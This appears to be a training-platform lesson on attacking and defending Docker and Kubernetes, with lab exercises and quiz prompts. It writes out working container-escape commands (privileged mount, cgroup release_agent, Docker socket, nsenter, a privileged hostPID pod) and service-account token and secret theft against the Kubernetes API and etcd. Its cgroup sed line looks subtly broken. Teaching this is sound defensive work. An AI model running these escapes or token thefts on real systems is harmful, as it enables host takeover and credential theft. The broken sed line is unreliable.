Container Security: Docker & Kubernetes

Attack and defend containerized environments — Docker escape techniques, Kubernetes RBAC misconfigurations, privilege escalation in pods, secrets management, and runtime security with Falco.

Hard 70m 3 tasks

Learning Objectives

  • Understand container isolation boundaries and how they differ from VMs
  • Exploit Docker misconfigurations: privileged containers, socket mount, capabilities
  • Enumerate and attack Kubernetes: API server, RBAC, pod exec, token theft
  • Extract secrets from Kubernetes and Docker environments
  • Implement container security: image scanning, runtime security with Falco

Container Isolation vs VM

VM: full hardware virtualization (separate kernel, hardware emulated)
    Strong isolation: guest OS fully separated from host

Container: shared kernel, isolated using namespaces + cgroups
    Lighter: shares host kernel
    Weaker isolation: kernel exploits can break out

Container security depends on:
- Linux kernel hardening
- Seccomp profiles (syscall filtering)
- AppArmor/SELinux (mandatory access control)
- Capabilities (fine-grained privilege control)
- No privileged mode, no dangerous capabilities

Docker Attack Surface

Privileged Container Escape

# Privileged container: runs with all Linux capabilities + disabled seccomp
# Essentially root on the host OS

# Check if running privileged:
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff (ALL capabilities) = privileged
# CapEff: 00000000a80425fb (normal capabilities) = restricted

# Escape from privileged container:
# 1. Mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host  # or /dev/nvme0n1p1
chroot /mnt/host
# Now inside host filesystem with root privileges!

# 2. Access host via cgroups notify_on_release:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*//p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd && echo "id > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output  # uid=0(root) — running on HOST

Docker Socket Exposure

# docker.sock mounted in container = full host compromise

# Check for docker socket:
ls -la /var/run/docker.sock
# If present: you have host-level Docker control!

# Escape via docker.sock:
# Option 1: run new container with host filesystem mounted
docker run -v /:/mnt/host --rm -it ubuntu chroot /mnt/host

# Option 2: install docker CLI in container:
curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh
docker run -v /:/host --rm -it --privileged ubuntu bash

# Option 3: Python via docker API:
python3 -c "
import docker
client = docker.from_env()
client.containers.run('ubuntu', ['chroot', '/host', 'id'],
    volumes={'/': {'bind': '/host', 'mode': 'rw'}}, remove=True)
"

Dangerous Capabilities

# Linux capabilities: fine-grained privilege splitting
# Some are dangerous even without full privileged mode:

CAP_SYS_ADMIN  # nearly as powerful as root — device mount, namespace manipulation
CAP_NET_ADMIN  # network interface control — ARP poisoning from container
CAP_SYS_PTRACE # process injection — attach to host processes
CAP_SYS_MODULE # load kernel modules — load malicious module

# Check your capabilities:
capsh --print

# Escape via CAP_SYS_ADMIN (using nsenter):
nsenter -t 1 -m -u -n -i --  # enter host namespaces
# PID 1 in container's view is host's init process

Kubernetes Attacks

Kubernetes Architecture

Kubernetes components:
- API Server: central control plane (kubectl hits this)
- etcd: key-value store (all cluster state  very sensitive!)
- Scheduler: assigns pods to nodes
- kubelet: node agent, runs pods
- Service Account: pod identity (token auto-mounted in pod)

Attack surface:
- Unauthenticated API server (--anonymous-auth=true)
- Over-permissive RBAC
- Privileged pods (run as root, host PID, host network)
- Service account token theft
- etcd without auth (contains all secrets!)

Service Account Token Theft

# Default: every pod gets a service account token mounted at:
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Read the token from inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
K8S=https://kubernetes.default.svc

# Use token to query API:
curl --cacert $CA -H "Authorization: Bearer $TOKEN" $K8S/api/v1/namespaces/
curl --cacert $CA -H "Authorization: Bearer $TOKEN" $K8S/api/v1/secrets/

# From outside cluster with stolen token:
kubectl --token=$TOKEN get pods -A
kubectl --token=$TOKEN get secrets -A

# Secrets base64 decoded:
kubectl get secret db-password -o jsonpath='{.data.password}' | base64 -d

RBAC Misconfigurations

# Check your permissions:
kubectl auth can-i --list
kubectl auth can-i get secrets --namespace kube-system

# Dangerous RBAC permissions:
# * on any resource — full access
# create pods — can create privileged pod to escape
# exec on pods — run commands in any pod
# get secrets — read all Kubernetes secrets
# create namespaces + modify roles — privilege escalation

# Example risky ClusterRoleBinding:
# subjects: kind: ServiceAccount, name: myapp
# roleRef: ClusterRole: cluster-admin  ← DANGEROUS

# Exploit: if you can create pods, create privileged one:
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: escape
spec:
  hostPID: true
  containers:
  - name: escape
    image: ubuntu
    command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host
  volumes:
  - name: host
    hostPath:
      path: /
EOF
kubectl exec -it escape -- bash  # now on host!

Kubernetes Secrets

# Kubernetes secrets: base64 encoded (NOT encrypted by default!)
# Anyone with secret read access gets plaintext credentials

# List all secrets:
kubectl get secrets -A

# Read a secret:
kubectl get secret db-credentials -o yaml
# data: password: cGFzc3dvcmQ=  (base64)
echo "cGFzc3dvcmQ=" | base64 -d  # password

# etcd: stores all secrets unencrypted (by default)
# Access etcd directly (if reachable):
ETCDCTL_API=3 etcdctl get /registry/secrets/default/db-credentials   --endpoints=https://127.0.0.1:2379 --cacert=ca.crt --cert=cert.crt --key=key.key

Container Security Controls

Image Scanning

# Trivy: scan container images for CVEs:
trivy image nginx:1.20
# Output: critical/high/medium CVEs in base image and packages

# Build pipeline integration:
trivy image --exit-code 1 --severity CRITICAL myapp:latest
# Exit code 1 = found critical CVE → fail the CI build

# Check for secrets in images:
trivy image --security-checks secret myapp:latest
# Finds: hardcoded AWS keys, passwords, API tokens in image layers

Falco: Runtime Security

# Falco: CNCF runtime security tool — detects abnormal container behavior
# Uses eBPF/kernel module to monitor syscalls

# Example Falco rules (YAML):
# Detect shell in container:
- rule: Shell spawned in container
  desc: A shell was spawned in a running container
  condition: container and proc.name = bash
  output: "Shell in container (container=%container.name pid=%proc.pid)"
  priority: WARNING

# Detect write to /etc:
- rule: Write below etc
  condition: container and open_write and fd.name startswith /etc
  output: "Write to /etc (container=%container.name file=%fd.name)"
  priority: ERROR

# Real-time alerts to SIEM, Slack, PagerDuty

Pod Security Best Practices

# Secure pod specification:
apiVersion: v1
kind: Pod
spec:
  securityContext:
    runAsNonRoot: true          # don't run as root
    runAsUser: 1000             # specific non-root UID
    fsGroup: 2000               # filesystem group
    seccompProfile:
      type: RuntimeDefault      # apply default seccomp profile
  containers:
  - name: app
    securityContext:
      allowPrivilegeEscalation: false  # no sudo/setuid
      readOnlyRootFilesystem: true     # immutable filesystem
      capabilities:
        drop:
        - ALL                   # drop all capabilities
        add:
        - NET_BIND_SERVICE      # only add what's needed
    automountServiceAccountToken: false  # don't auto-mount token

Practice Docker container escape in a lab: (1) run a privileged container: docker run --privileged -it ubuntu bash, (2) inside: check capabilities: cat /proc/self/status | grep CapEff, (3) attempt host filesystem access: mkdir /mnt/host && mount /dev/sda1 /mnt/host (or identify your host disk), (4) try docker socket method: docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu bash, then interact with docker socket from inside, (5) document which escape method worked and what access you achieved.

✦ Answer the questions to complete this task

What is the risk of mounting /var/run/docker.sock inside a container?

Exploit Kubernetes service account tokens (use minikube: minikube start for a local K8s): (1) create a pod: kubectl run test --image=ubuntu --restart=Never -- sleep 3600, (2) exec in: kubectl exec -it test -- bash, (3) inside pod: read the service account token and CA cert, (4) use curl with Bearer token to query K8s API, (5) check what permissions the default service account has, (6) fix: create a pod with automountServiceAccountToken: false.

✦ Answer the questions to complete this task

Why is automounting service account tokens dangerous by default?

Integrate image security into a workflow: (1) install Trivy: brew install trivy (Mac) or wget trivy binary (Linux), (2) scan a public image: trivy image node:14 (intentionally outdated for CVEs), (3) count Critical/High CVEs, (4) scan for secrets: trivy image --security-checks secret node:14, (5) scan your own Dockerfile: trivy config Dockerfile, (6) fix: update base image to node:20 and rescan — how many CVEs reduced?, (7) add Trivy scan to a CI pipeline (GitHub Actions snippet).

✦ Answer the questions to complete this task

Why is using a minimal base image (like 'scratch' or Alpine) a security best practice?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

Container Security MCQ

Container Security MCQ

Start →
⚙️ Practical Medium +30 XP

Kubernetes Security Audit

Kubernetes Security Audit

Start →
🚩 Challenge Hard +50 XP

Escape the Container

Escape the Container

Start →